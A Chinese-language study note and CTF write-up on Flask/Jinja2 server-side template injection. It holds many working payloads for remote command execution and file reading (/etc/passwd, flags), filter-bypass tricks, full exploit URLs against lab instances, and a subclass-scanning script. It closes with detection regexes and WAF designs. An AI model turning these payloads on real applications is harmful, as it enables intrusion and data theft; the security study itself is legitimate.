SSTI 1 - (Flask) 总结
SSTI 1 - (Flask) 总结
SSTI - 基于 Flask + Jinja2 的服务端模板注入
SSTI 注入原理
模板引擎的核心是动态执行开发者预设的”魔术方法“或函数,而攻击者正是利用这种动态性注入恶意代码。
数据结构
下面从数据结构层面系统阐述类、对象、实例的关系,并以此为基础解析SSTI注入本质:
数据结构层面上, 类 (Class), 对象 (Object), 实例 (Instance) 的关系: (以 Python 为例)
1 | class User: # 类定义 (蓝图) |
调用链
以 Python 为例, 在 Python 中,所有实体都是对象,它们的内存结构包含三个核心部分:
classDiagram class PyObject { +ob_refcnt: size_t # 引用计数 +ob_type: *PyTypeObject # 类型指针 } class PyTypeObject { +tp_name: char* # 类型名称 +tp_basicsize: size_t +tp_itemsize: size_t +tp_dict: *PyDictObject # 属性字典 +tp_mro: *PyTupleObject # 方法解析顺序 +tp_base: *PyTypeObject # 基类指针 +tp_subclasses: *PyListObject # 子类列表 } PyObject <|-- PyVarObject PyVarObject <|-- PyStringObject PyTypeObject <|-- PyType_Type
ob_type
指针: 每个对象头部包含指向其类型对象的指针;- 类型对象 (
PyTypeObject
):包含类的元信息
tp_dict
: 存储类属性和方法的字典;tp_mro
: 方法解析顺序元组 (继承链); 这个继承链实际上是拓扑结构。它指向一个元组对象 (PyTupleObject
),这个元组包含了该类的方法解析顺序;tp_base
: 直接父类指针;tp_subclasses
: 子类列表;
看到这里其实已经可以发现, tp_mro
实际上提供了一直向上回溯的方式来找到父类, 然后再遍历其所有 子类->对象 来找到目标对象。下一步只要找到对应的方法即可。
魔术方法
所有语言都会预留可自定义的魔术方法来方便开发, 依然以 python 的一个典型 payload 为例:
1 | # Python SSTI 典型Payload: |
魔术方法 | 定义 | 返回结果 |
---|---|---|
''.__class__ |
获取对象的 ob_type 指针 |
这里是空字符串, 因此 返回指向 <class 'str'> 的指针 |
.__mro__ |
遍历方法解析顺序 (MRO), 访问类型对象的 tp_mro 字段 |
(<class 'str'>, <class 'object'>) |
.__mro__[1].__subclasses__() |
获取基类 (object) 的子类列表, 访问object 类型的 tp_subclasses , 列表结构 |
[<class 'type'>, <class 'weakref'>,...,<class 'os._wrap_close'>,<class 'subprocess.Popen'>] , 其中 os._wrap_close 为攻击目标 |
.__subclasses__()[132].__init__ |
定位敏感类并获取初始化函数: 获取 os._wrap_close 类的 tp_init 函数指针 |
|
.__globals__ |
提取函数全局命名空间, 访问函数对象的 func_globals 字段 |
{'__name__': 'os','system': <built-in function system>,...} , 其中 'system': 为攻击目标 |
__builtins__ |
以一个集合的形式查看其引用 |
os._wrap_close
: 隐式引用os
模块, Python 3.3+ 稳定存在, 继承自 PyBaseObject。
内建函数
当我们启动一个 python 解释器时,即时没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数。
内建函数并不需要我们自己做定义,而是在启动python解释器的时候,就已经导入到内存中供我们使用,想要了解这里面的工作原理,我们可以从名称空间开始。
__builtins__
方法是做为默认初始模块出现的,可用于查看当前所有导入的内建函数。
攻击链
理解完这些魔术方法, 到这里已经形成了一条完整的攻击链:
graph LR A[object基类] --> B[子类列表] B --> C[os._wrap_close] C --> D[__init__方法] D --> E[__globals__属性] E --> F[os模块引用] F --> G[system函数] classDef green fill:#9f6,stroke:#333; class C green;
实战中攻击链可以有很多条 (敏感类不止一个), 对于不同的语言, 也有多种不同的魔术方法。
探测姿势
首先, 同其他 web 漏洞一样, 要找到一个用户交互传参并且有回显的地方, 尝试 {{7*7}}
这样的注入, 如果结果被计算了, 则说明此处存在 SSTI 注入:
确认渲染引擎
接下来要确定网站所用的渲染引擎, 常用的测试模板如下:
也可以用 _self.env
测试是不是 twig, {{''.__class__}}
测试是不是 Jinja2
沙箱绕过
沙箱 (Sandbox) 在 SSTI 防护中是一种代码隔离容器,其核心目标:允许模板表达式执行,但阻断危险系统操作。
graph TB A[模板输入] --> B[解析器] B --> C{沙箱决策层} C -->|安全表达式| D[受限执行环境] C -->|危险操作| E[拦截并阻断] D --> F[纯Python计算] D --> G[白名单函数] D --> H[虚拟文件系统]
常见关键组件:
- 命名空间隔离:创建纯净的全局/局部字典
1
2 safe_globals = {'len': len, 'str': str} # 白名单函数
safe_locals = {'user_input': filtered_value}
- 操作码过滤器:拦截危险字节码, 和其他注入防护差不多; 例如过滤
(
)
__class__
等
例如这个沙箱:
1 | # Jinja2 沙箱 |
1 | # Twig 沙箱 |

常用的绕过手法:
字符串拼接: (CVE-2020-28493)
1 | {{ ()["__cla"+"ss__"]["__ba"+"se__"]["__subcla"+"sses__"]()[132]["__in"+"it__"]["__glob"+"als__"]["po"+"pen"]("id") }} |
- 字符串拼接规避关键词检测;
- 使用元组
()
替代字符串起始点; - 利用未过滤的魔术方法链;
常用 payload
(Jinja2)
从 __class__
开始:
1 | ''.__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__['__import__']('os').popen('ls').read() |
从 __self__
开始:
1 | {{self.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}} |
自动化探测
用这个工具就够了: Github - tplmap
Write up 记录
SSTI 1
来源 BUUCTF
一进去就显示密码错误, 尝试一下 GET 传参发现姿势正确, 参数名就是 password
, 接下来试试:
返回 str 类, 说明为 Jinja2 SSTI; 接下来往上找:
定位到 os_wrap_close
这个类, 找到下标是 127:
此时 payload:
1 | http://4f84ad86-863a-43f5-84af-1ddcf93711e1.node5.buuoj.cn:81/?password={{%27%27.__class__.__base__.__subclasses__()[127].__init__.__globals__}} |
这里显示有一个 flag, 很可惜提交显示错误, 应该是个兔子洞; 寻找其他利用, 这里考虑用: __builtins__
__builtins__
是一个包含内置函数的模块(或字典),其中就包括open
函数。通过访问__builtins__
,我们可以获得执行文件操作的能力。在沙箱逃逸或模板注入中,我们经常需要利用现有的类来获取__builtins__
,因为__builtins__
提供了很多危险的函数(如open
、eval
、exec
等),这些函数可以帮助我们读取文件或执行命令。
构造payload:
1 | http://4f84ad86-863a-43f5-84af-1ddcf93711e1.node5.buuoj.cn:81/?password={{''.__class__.__base__.__subclasses__()[127].__init__.__globals__['__builtins__']['open']("/app/server.py").read()}} |
Flask 默认结构:
主程序常命名为server.py
或app.py
, 在/app
目录下(docker 部署)
拿到flag: n1book{eddb84d49a421a82}
其他常用的 __builtins__
利用:
1 | # 读取系统文件 |
[NewStarCTF 公开赛赛道]BabySSTI_One
尝试一下, 存在 SSTI
源代码提示, 此处是 Flask SSTI, 但是输入 ''.__class__
发现被过滤了:
进一步尝试别的 payload (''["__cla"+"ss__"]
, {{config}}
, {{self}}
, ''.__name__
), 均返回空:
说明服务端可能运行在一个受限的沙箱内; 经过测试, 可能对 'class'
'base'
'mro'
'init'
做了过滤。
考虑字符串拼接, 经过尝试, __getattribute__()
没有被过滤:
处理一下这个 payload:
1 | # self.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read() |
成功了, 已经可以执行命令。
之后检查一下路径:
1 | http://b87c4760-3fa1-4003-b490-4f635427511b.node5.buuoj.cn:81/?name={{self.__getattribute__('__i'+'nit__').__globals__.__builtins__['__import__']('os').popen('ls ../').read()}} |
接着尝试读这个 flag_in_here, 结果被 WAF 挡了, 可能是 flag 被过滤了, 用拼接字符串:
1 | http://b87c4760-3fa1-4003-b490-4f635427511b.node5.buuoj.cn:81/?name={{self.__getattribute__('__i'+'nit__').__globals__.__builtins__['__import__']('os').popen('ca'+'t ../fla'+'g_in_here').read()}} |
拿到flag : flag{3140293f-b827-499d-b02c-7daaff59d68a}
[NewStarCTF 公开赛赛道]BabySSTI_Two
首先还是用 {{7*'7'}}
, 发现是 Flask + Jinja2:
尝试上一题的 payload, 发现 __getattribute__()
也被过滤了, 以及 init
, mro
, class
, attr
.
尝试通过 ''['__ini'+'t__']
拼接, 以及十六进制编码, 发现也被过滤;
查看 WP 后发现此处应用逆序, 也就是 ''['__tini__'[::-1]]
, 发送后发现未被过滤, 构造payload:
1 | http://eab7e4dc-d75a-4348-bf8f-18c210b29b46.node5.buuoj.cn:81/?name={{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]]()}} |
打开响应源代码:
定位到 os._wrap_close
, 继续构造
1 | http://eab7e4dc-d75a-4348-bf8f-18c210b29b46.node5.buuoj.cn:81/?name={{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]]()[117]['__tini__'[::-1]]['__slabolg__'[::-1]]}} |
进一步:
1 | http://eab7e4dc-d75a-4348-bf8f-18c210b29b46.node5.buuoj.cn:81/?name={{%27%27[%27__ssalc__%27[::-1]][%27__sesab__%27[::-1]][0][%27__sessalcbus__%27[::-1]]()[117][%27__tini__%27[::-1]][%27__slabolg__%27[::-1]][%27nepop%27[::-1]](%27whoami%27).read()}} |
回显:
说明已经实现了 RCE, 接下来尝试读取文件
1 | http://eab7e4dc-d75a-4348-bf8f-18c210b29b46.node5.buuoj.cn:81/?name={{%27%27[%27__ssalc__%27[::-1]][%27__sesab__%27[::-1]][0][%27__sessalcbus__%27[::-1]]()[117][%27__tini__%27[::-1]][%27__slabolg__%27[::-1]][%27nepop%27[::-1]](%27ls%27).read()}} |
测试发现 cat
和
被过滤了, 通过嵌入变量的方式可以绕过:
1 | ca${Z}t${IFS}/ |
原理:
Z
:这里Z
是一个未定义的变量,在Bash中,未定义的变量会被替换为空字符串。所以ca${Z}t
就变成了cat
。IFS
:IFS
是 Bash 的内部字段分隔符,默认值为空格、制表符、换行符。所以这里用${IFS}
代替了空格,从而绕过了对空格的过滤。
接下来编辑 payload:
1 | ls${IFS}/ |
继续调整:
1 | ls${IFS}/fla${Z}g_in_h3r3_52daad |
拿到 flag: flag{d90c5ef2-1a36-47c0-8bce-f78a1c7ee9d4}
另一种思路: 通过尝试可以发现普通的拼接字符串不行的原因是本题过滤了 +
, 但是 python 的 payload 中, 当两个字符串紧挨的时候, 会自动拼接, 也就是说, +
是可以省略的!
也就是说,
'__class__'
='__clas'+'s__'
='__clas''s__'
; 这样就绕过了对class
和+
的过滤
[NewStarCTF 公开赛赛道]BabySSTI_Three
确认步骤相同, 仍然是 Flask SSTI; 然后输入上一题的 payload, 多次测试后发现去除了 -
, 并且过滤了 :
, request
根据上题中的第二种思路, 这里只需要将 _
用 unicode 编码即可;
payload:
1 | ?name={{[]['\x5f\x5fcl''ass\x5f\x5f']['\x5f\x5fba''se\x5f\x5f']['\x5f\x5fsubc''lasses\x5f\x5f']()[117]['\x5f\x5fin''it\x5f\x5f']['\x5f\x5fglo''bals\x5f\x5f']['po''pen']('\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u005f\u0069\u006e\u005f\u0068\u0033\u0072\u0033\u005f\u0035\u0032\u0064\u0061\u0061\u0064').read()}} |

[Dest0g3 520迎新赛]EasySSTI
先测试表单, 发现过滤了 .
,[]
, '
, "
, _
, class
, request
, system
, os
self
config
()
|
~
是可用的
尝试 {{config}}
:
下一步构建 payload: config|string|list
, 这一步实际上执行的是 list(str(config))
, 将 config
先转为 string
, 再强制分割为列表:
同理, select|string|list
:
接下来, 考虑到可用字符集, 用拼接字典的方式构造 payload:
%0a
(换行符) 用于绕过空格的过滤;
1 | #构造po="pop" #利用dict()|join拼接得到 |
同样 set
是可用的, 考虑构造:
1 | import requests |
然后把所有的空格换成 '\n'
或者 %0a
参考博客:
思路汇总
SSTI 开局的思路无外乎这几种:
- 查配置文件
- 命令执行(其实就是沙盒逃逸类题目的利用方式)
- 文件读取
- 读取任意文件: (仅限 python 2):
1 | {{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}} |
__subclasses__[40]
指向<type 'file'>
, 此file类可以直接用来读取文件;
- 读取任意文件: (python 3)
1 | {{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0, "/etc/passwd")}} |
要得到这个 payload, 可以编写一个脚本, 遍历
__class__.__bases__[0].__subclasses__()
这个列表即可;
我们可以用
<class '_frozen_importlib_external.FileLoader'>
这个类去读取文件。
- 利用
eval()
执行任意命令 (RCE)
典型 payload:
1 | {{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} |
这些类的典型的 含
eval()
函数的类:
warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize
- ……
如果不确定这个类有没有 eval()
来执行代码, 可以写个脚本, 来遍历所有类的内置函数:
1 | {{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}} |
- 利用 os 模块执行任意命令 (RCE)
Python的 os 模块中有system()
和 popen()
这两个函数可用来执行命令。其中 system()
函数执行命令是没有回显的,我们可以使用 system()
函数配合 curl
外带数据;popen()
函数执行命令有回显。所以比较常用的函数为 popen()
函数,而当 popen()
函数被过滤掉时,可以使用 system()
函数代替。
找含 os 模块的类的思路是类似的, 脚本:
1
2
3
4
5
6
7
8
9
10 # 遍历 os 模块, 这样不一定准确
for i in range(500):
url = "http://xxx.xxx.xxx.xxx:xx/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"
res = requests.get(url=url, headers=headers)
if 'os.py' in res.text:
print(i)
# 遍历找 popen() 更准确, 把 os.py 换为 popen 即可
一般有一大堆, 随便挑一个类构造payload执行命令即可:
1 | # os |
- importlib 类导入后执行任意命令:
Python 中存在 <class '_frozen_importlib.BuiltinImporter'>
类,目的就是提供 Python 中 import 语句的实现(以及 __import__
函数)。可以直接利用该类中的load_module将os模块导入,从而使用 os 模块执行命令。
查找脚本和前文差不多;
payload:
1 | {{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls /").read()}} |
- 寻找
linecache()
函数执行命令:
linecache()
这个函数可用于读取任意一个文件的某一行,而这个函数中也引入了 os 模块,所以我们也可以利用这个 linecache()
函数去执行命令。
典型 payload:
1 | {{[].__class__.__base__.__subclasses__()[168].__init__.__globals__['linecache']['os'].popen('ls /').read()}} |
- 寻找
subprocess.Popen
类执行命令
从 python2.4 版本开始,可以用 subprocess 这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。
subprocess 意在替代其他几个老的模块或者函数,比如:os.system()
,os.popen()
等函数。
要找这个类, 需要遍历
().__class__.__bases__[0].__subclasses__()["+str(i)+"]
;
典型 payload:
1 | {{[].__class__.__base__.__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}} |
Bypass 总结
绕过常规关键字
字符串拼接
对关键字的过滤可以用字符串拼接来绕过, 例如:
1 | {{().__class__.__bases__[0]}} |
也可以使用 join()
来绕过:
1 | [].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read() |
编码绕过
用编码绕过对关键字的过滤, 例如 base64:
1 | ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64')) |
不光是这种编码, Hex 编码和 Unicode 编码也可以;
绕过中括号
.__getitem__()
对于绕过了中括号的场景, 任何 []
都可以用 __getitem__()
来替代, 例如:
1 | "".__class__.__mro__[2] |
.pop()
也可以用 pop()
方法来代替 []
做索引, 例如上面的第一行 payload 也等价于:
1 | "".__class__.__mro__.pop(2) |
用字典读取绕过
访问字典除了可以通过 []
, 还可以用 .
:
1 | {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} |
绕过引号
利用 chr()
绕过
利用 chr()
函数进行赋值和拼接绕过, 注意, 要先从 __builtins__
中获取这个函数:
1 | {% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}} |
利用 request
对象绕过
原理就是将加 ''
的步骤放到传参时自动加上而不是手动赋予;
1 | {{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd |
args
也可以换成 value
, 区别在于 value
会同时接受 GET 和 HOST 的传参;
绕过下划线
利用 request
对象绕过
和上面是同一个姿势:
1 | {{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__ |
绕过 .
利用 |attr()
绕过
这个函数是 Jinja2 (Flask) 自带的函数:
1 | ().__class__ |
中括号绕过
和前文也比较类似:
1 | ''.__class__.__bases__ |
…
剩余的详尽的 Bypass 在这个博客里: ※以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用, 质量非常高。
使用 JinJa 的过滤器进行 Bypass
在 Flask JinJa 中,内只有很多过滤器可以使用,attr()
就是其中的一个过滤器。变量可以通过过滤器进行修改,过滤器与变量之间用管道符号(|
)隔开,括号中可以有可选参数,也可以没有参数,过滤器函数可以带括号也可以不带括号。可以使用管道符号(|
)连接多个过滤器,一个过滤器的输出应用于下一个过滤器。
其余管道符在官方文档里有: 官方文档

蓝队视角下的 SSTI (WAF)
最小化攻击面
- 开启浏览器 HTML 自动转义:
autoescape=False
=>autoescape=True
这个措施会将
<>
,{}
等字符转义, 同时能防御一些 XSS 攻击;
- 禁用模板语法, 例如:
{% import %}
防御分层
graph LR A[输入过滤] --> B[模板沙箱] B --> C[输出编码] C --> D[行为监控]
简易的 WAF 示例设计
- 基础关键词过滤:
例如:
1 | (__class__|__mro__|__subclasses__|__globals__|__builtins__|__init__|os\.system|popen|eval|exec) |
- Bypass 过滤:
利用正则表达式, 例如:
1 | # 拼接绕过检测 |
- 上下文敏感规则
1 | # 检测模板语法中的危险操作 |
沙箱安全
Jinja2 沙箱为例:
1 | from jinja2.sandbox import SandboxedEnvironment |
运行时防护
- 行为监控
1 | class SecurityMonitor: |
- 动态 Payload 分析
1 | def analyze_payload(input_str): |
WAF 架构
graph TB A[客户端请求] --> B[边缘WAF] B --> C{规则匹配} C -->|安全| D[应用服务器] C -->|可疑| E[沙箱执行环境] E -->|安全| D E -->|危险| F[阻断并告警] D --> G[响应输出] G --> H[输出编码器]
